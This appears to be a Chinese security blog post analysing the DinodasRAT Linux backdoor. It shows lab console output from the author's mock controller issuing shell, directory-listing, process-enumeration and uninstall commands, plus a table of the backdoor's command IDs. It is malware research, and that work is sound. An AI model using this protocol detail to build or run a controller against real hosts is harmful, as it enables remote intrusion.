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和镜像网站做友链,发布新闻稿,网站建设前准备,wordpress 不需要审核概述 在上一篇《以中国为目标的DinodasRAT Linux后门剖析及通信解密尝试》文章中,笔者对DinodasRAT Linux后门的功能及通信数据包进行了简单剖析,实现了对DinodasRAT Linux后门心跳数据包的解密尝试。 虽然目前可对DinodasRAT Linux后门的通信数据包进…

概述

在上一篇《以中国为目标的DinodasRAT Linux后门剖析及通信解密尝试》文章中,笔者对DinodasRAT Linux后门的功能及通信数据包进行了简单剖析,实现了对DinodasRAT Linux后门心跳数据包的解密尝试。

虽然目前可对DinodasRAT Linux后门的通信数据包进行解密,但笔者认为目前对DinodasRAT Linux后门的了解还不是很充分。

因此,为了能够更进一步的对DinodasRAT Linux后门的攻击活动进行剖析,笔者准备从如下几个角度复现DinodasRAT Linux后门的攻击场景及攻击利用过程中的DinodasRAT Linux后门的通信模型:

  • 后门攻击场景复现:基于模拟构建的DinodasRAT Linux后门控制端程序,复现DinodasRAT Linux后门的远控攻击场景;
  • 关键代码分析:梳理分析DinodasRAT Linux后门通信模型相关的关键代码;
  • 后门通信模型剖析:梳理DinodasRAT Linux后门各远控指令的通信模型;
  • 模拟构建DinodasRAT Linux后门控制端:通过模拟构建DinodasRAT Linux后门控制端程序以实现与DinodasRAT Linux后门的交互效果;
  • 后门攻击场景复现

    为了能够更好的还原DinodasRAT Linux后门的攻击利用场景,笔者尝试模拟构建了一款DinodasRAT Linux后门控制端程序,目前可有效的与DinodasRAT Linux后门进行交互,相关运行效果如下:

相关通信数据包截图如下:

相关操作流程如下:

  • 被控端执行UninstallMm指令(卸载自身)前运行情况

 

  • 被控端执行UninstallMm指令(卸载自身)后运行情况
  • 控制端
F:\GolandProjects\awesomeProject5>awesomeProject5.exe
Server started. Listening on 0.0.0.0:80
请选择需执行的功能:help、DirClass、DelDir、EnumProcess、DealExShell、UninstallMm
>help
********支持功能如下********
DirClass:查看目录
DelDir:删除目录
EnumProcess:查看进程
DealExShell:执行shell命令
UninstallMm:卸载自身
**************************
请选择需执行的功能:help、DirClass、DelDir、EnumProcess、DealExShell、UninstallMm
>DealExShell
DealExShell指令-请输入需执行的shell命令:
>ifconfig
*******************DealExShell:ifconfig*******************
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500inet 192.168.153.133  netmask 255.255.255.0  broadcast 192.168.153.255inet6 fe80::51d9:b9bf:4800:15b1  prefixlen 64  scopeid 0x20<link>ether 00:0c:29:7a:63:b6  txqueuelen 1000  (Ethernet)RX packets 117418  bytes 10766685 (10.2 MiB)RX errors 0  dropped 0  overruns 0  frame 0TX packets 127228  bytes 56957898 (54.3 MiB)TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536inet 127.0.0.1  netmask 255.0.0.0inet6 ::1  prefixlen 128  scopeid 0x10<host>loop  txqueuelen 1000  (Local Loopback)RX packets 4  bytes 240 (240.0 B)RX errors 0  dropped 0  overruns 0  frame 0TX packets 4  bytes 240 (240.0 B)TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0请选择需执行的功能:help、DirClass、DelDir、EnumProcess、DealExShell、UninstallMm
>DirClass
DirClass指令-请输入需查看的目录路径:
>/tmp/
*******************DirClass:/tmp/*******************
.X0-lock        1       11      2023-07-20 21:07:38     2
.XIM-unix       0       0       2023-07-20 21:07:37     2
systemd-private-07e721d8e32643438b178572cb153efe-colord.service-Oil9iv  0       0       2023-07-20 21:08:35     2
vmware-root_484-868851811       0       0       2023-07-20 21:07:38     2
.font-unix      0       0       2023-07-20 21:07:37     2
.xfsm-ICE-V8T571        1       398     2023-07-20 21:08:33     2
ssh-XXXXXXVA2uMv        0       0       2023-07-20 21:08:33     2
systemd-private-07e721d8e32643438b178572cb153efe-systemd-logind.service-3sTMOv  0       0       2023-07-20 21:07:38     2
systemd-private-07e721d8e32643438b178572cb153efe-haveged.service-hyFQUI 0       0       2023-07-20 21:07:37     2
systemd-private-07e721d8e32643438b178572cb153efe-upower.service-OpfV78  0       0       2023-07-20 21:08:34     2
.X11-unix       0       0       2024-05-06 02:04:10     2
systemd-private-07e721d8e32643438b178572cb153efe-ModemManager.service-r0SmEk    0       0       2023-07-20 21:07:38     2
VMwareDnD       0       0       2024-04-29 21:59:26     2
.ICE-unix       0       0       2023-07-20 21:08:33     2请选择需执行的功能:help、DirClass、DelDir、EnumProcess、DealExShell、UninstallMm
>EnumProcess
*******************EnumProcess:*******************
systemd         root    1
kthreadd                root    2
rcu_gp          root    3
rcu_par_gp              root    4
slub_flushwq            root    5
netns           root    6
kworker/0:0H-events_highpri             root    8
mm_percpu_wq            root    10
rcu_tasks_kthread               root    11
rcu_tasks_rude_kthread          root    12
rcu_tasks_trace_kthread         root    13
ksoftirqd/0             root    14
rcu_preempt             root    15
migration/0             root    16
cpuhp/0         root    18
cpuhp/1         root    19
migration/1             root    20
ksoftirqd/1             root    21
cpuhp/2         root    24
migration/2             root    25
ksoftirqd/2             root    26
kworker/2:0H-events_highpri             root    28
cpuhp/3         root    29
migration/3             root    30
ksoftirqd/3             root    31
kworker/3:0H-events_highpri             root    33
kdevtmpfs               root    38
inet_frag_wq            root    39
kauditd         root    40
khungtaskd              root    42
oom_reaper              root    43
writeback               root    44
kcompactd0              root    45
ksmd            root    46
khugepaged              root    47
kintegrityd             root    48
kblockd         root    49
blkcg_punt_bio          root    50
tpm_dev_wq              root    51
edac-poller             root    52
devfreq_wq              root    53
kworker/0:1H-kblockd            root    54
kswapd0         root    55
kthrotld                root    64
irq/24-pciehp           root    66
irq/25-pciehp           root    67
irq/26-pciehp           root    68
irq/27-pciehp           root    69
irq/28-pciehp           root    70
irq/29-pciehp           root    71
irq/30-pciehp           root    72
irq/31-pciehp           root    73
irq/32-pciehp           root    74
irq/33-pciehp           root    75
irq/34-pciehp           root    76
irq/35-pciehp           root    77
irq/36-pciehp           root    78
irq/37-pciehp           root    79
irq/38-pciehp           root    80
irq/39-pciehp           root    81
irq/40-pciehp           root    82
irq/41-pciehp           root    83
irq/42-pciehp           root    84
irq/43-pciehp           root    85
irq/44-pciehp           root    86
irq/45-pciehp           root    87
irq/46-pciehp           root    88
irq/47-pciehp           root    89
irq/48-pciehp           root    90
irq/49-pciehp           root    91
irq/50-pciehp           root    92
irq/51-pciehp           root    93
irq/52-pciehp           root    94
irq/53-pciehp           root    95
irq/54-pciehp           root    96
irq/55-pciehp           root    97
acpi_thermal_pm         root    98
xenbus_probe            root    99
mld             root    100
ipv6_addrconf           root    101
kstrp           root    106
zswap-shrink            root    111
kworker/u65:0-hci0              root    112
kworker/1:1H-kblockd            root    160
kworker/2:1H-kblockd            root    171
kworker/3:1H-kblockd            root    172
cryptd          root    181
ata_sff         root    182
scsi_eh_0               root    183
scsi_tmf_0              root    184
mpt_poll_0              root    185
scsi_eh_1               root    187
mpt/0           root    188
scsi_tmf_1              root    189
irq/16-vmwgfx           root    204
card0-crtc0             root    206
card0-crtc1             root    207
card0-crtc2             root    208
card0-crtc3             root    209
card0-crtc4             root    210
card0-crtc5             root    212
card0-crtc6             root    214
card0-crtc7             root    215
scsi_eh_2               root    268
scsi_tmf_2              root    269
kworker/1:2H-kblockd            root    278
jbd2/sda1-8             root    309
ext4-rsv-conver         root    310
systemd-journal         root    364
vmware-vmblock-         root    381
systemd-udevd           root    390
haveged         root    462
vmtoolsd                root    484
irq/56-vmw_vmci         root    588
irq/57-vmw_vmci         root    590
kworker/u65:2-hci0              root    668
dbus-daemon             message+        811
polkitd         polkitd 814
systemd-logind          root    816
rpciod          root    817
xprtiod         root    818
NetworkManager          root    819
cron            root    835
ModemManager            root    838
lightdm         root    858
Xorg            root    872
agetty          root    873
rtkit-daemon            rtkit   997
lightdm         root    1461
systemd /usr/lib/systemd/systemd        kali    1467
(sd-pam)                kali    1468
pipewire        /usr/bin/pipewire       kali    1483
wireplumber     /usr/bin/wireplumber    kali    1484
pipewire-pulse  /usr/bin/pipewire       kali    1485
dbus-daemon     /usr/bin/dbus-daemon    kali    1487
gnome-keyring-d /usr/bin/gnome-keyring-daemon   kali    1488
xfce4-session   /usr/bin/xfce4-session  kali    1498
ssh-agent               kali    1567
at-spi-bus-laun /usr/libexec/at-spi-bus-launcher        kali    1578
dbus-daemon     /usr/bin/dbus-daemon    kali    1585
at-spi2-registr /usr/libexec/at-spi2-registryd  kali    1596
gpg-agent               kali    1608
xfwm4   /usr/bin/xfwm4  kali    1610
gvfsd   /usr/libexec/gvfsd      kali    1614
gvfsd-fuse      /usr/libexec/gvfsd-fuse kali    1620
xfsettingsd     /usr/bin/xfsettingsd    kali    1635
upowerd         root    1639
xfce4-panel     /usr/bin/xfce4-panel    kali    1645
Thunar  /usr/bin/thunar kali    1650
xfdesktop       /usr/bin/xfdesktop      kali    1661
panel-1-whisker /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0       kali    1665
panel-13-cpugra /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0       kali    1670
xiccd   /usr/bin/xiccd  kali    1671
panel-14-systra /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0       kali    1672
panel-15-genmon /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0       kali    1676
xfce4-notifyd   /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd   kali    1678
panel-16-pulsea /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0       kali    1686
colord          colord  1698
panel-17-notifi /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0       kali    1701
nm-applet       /usr/bin/nm-applet      kali    1703
xcape   /usr/bin/xcape  kali    1708
panel-18-power- /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0       kali    1711
light-locker    /usr/bin/light-locker   kali    1716
panel-22-action /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0       kali    1722
dconf-service   /usr/libexec/dconf-service      kali    1725
polkit-gnome-au /usr/lib/policykit-1-gnome/polkit-gnome-authentication-agent-1  kali    1727
xfce4-power-man /usr/bin/xfce4-power-manager    kali    1752
agent   /usr/libexec/geoclue-2.0/demos/agent    kali    1755
blueman-applet  /usr/bin/python3.11     kali    1782
vmtoolsd        /usr/bin/vmtoolsd       kali    1783
obexd   /usr/libexec/bluetooth/obexd    kali    2006
gvfs-udisks2-vo /usr/libexec/gvfs-udisks2-volume-monitor        kali    2019
udisksd         root    2023
gvfs-mtp-volume /usr/libexec/gvfs-mtp-volume-monitor    kali    2038
gvfs-afc-volume /usr/libexec/gvfs-afc-volume-monitor    kali    2043
gvfs-gphoto2-vo /usr/libexec/gvfs-gphoto2-volume-monitor        kali    2049
gvfs-goa-volume /usr/libexec/gvfs-goa-volume-monitor    kali    2054
gvfsd-trash     /usr/libexec/gvfsd-trash        kali    2068
gvfsd-metadata  /usr/libexec/gvfsd-metadata     kali    2074
qterminal       /usr/bin/qterminal      kali    2211
zsh     /usr/bin/zsh    kali    2214
linux_server64  /home/kali/Desktop/linux_server64       kali    6586
zsh     /usr/bin/zsh    kali    6611
kworker/3:2-mm_percpu_wq                root    666030
kworker/2:0-events              root    671000
kworker/1:1-mm_percpu_wq                root    676828
kworker/0:0-cgroup_destroy              root    687692
kworker/u64:0-flush-8:0         root    693826
kworker/2:1-mm_percpu_wq                root    696046
kworker/2:2-mpt_poll_0          root    698531
kworker/1:2-ata_sff             root    699316
kworker/u64:2-flush-8:0         root    699787
kworker/0:2-events              root    699926
kworker/u64:3-events_unbound            root    699928
kworker/3:0-cgroup_destroy              root    699936
tumblerd        /usr/lib/x86_64-linux-gnu/tumbler-1/tumblerd    kali    700635
kworker/1:0-ata_sff             root    702014
test    /home/kali/Desktop/test kali    702951
sh      /usr/bin/dash   kali    702959
test    /home/kali/Desktop/test kali    702960请选择需执行的功能:help、DirClass、DelDir、EnumProcess、DealExShell、UninstallMm
>UninstallMm
*******************UninstallMm:*******************
UninstallMm okF:\GolandProjects\awesomeProject5>

关键代码分析

通信框架

在《以中国为目标的DinodasRAT Linux后门剖析及通信解密尝试》文章的“DinodasRAT通信解密尝试”章节,笔者对DinodasRAT Linux后门的通信加解密原理进行了详细的剖析,因此,这里笔者将不再对DinodasRAT Linux后门中的通信加解密技术进行描述。

为了能够快速了解DinodasRAT Linux后门的通信逻辑,笔者又对DinodasRAT Linux后门的反编译代码进行了详细的分析梳理,发现:

  • DinodasRAT Linux后门运行后,将循环发送心跳通信
  • DinodasRAT Linux后门运行后,将从控制端循环接收控制指令,成功执行远控指令后,将返回执行结果信息

相关代码截图如下:

 DinodasRAT Linux后门通信数据接收函数代码截图如下:

DinodasRAT Linux后门通信数据发送函数代码截图如下:

 

 

 

远控功能与远控指令编号的对应关系梳理如下:

远控函数远控功能远控编号
DirClass列目录0x02
DelDir删除目录0x03
UpLoadFile上传文件0x05
StopDownLoadFile停止上传文件0x06
DownLoadFile下载文件0x08
StopDownFile停止下载文件0x09
DealChgIp修改C&C地址0x0E
CheckUserLogin检查已登录的用户0x0F
EnumProcess枚举进程列表0x11
StopProcess终止进程0x12
EnumService枚举服务0x13
ControlService控制服务0x14
DealExShell执行shell0x18
DealProxy执行指定文件0x1A
StartShell开启shell0x1B
ReRestartShell重启shell0x1C
StopShell停止当前shell的执行0x1D
WriteShell将命令写入当前shell0x1E
DealFile下载并更新后门版本0x27
DealLocalProxy发送“ok”0x28
ConnectCtl控制连接类型0x2B
ProxyCtl控制代理类型0x2C
Trans_mode设置或获取文件传输模式(TCP/UDP)0x2D
UninstallMm卸载自身0x2E

 

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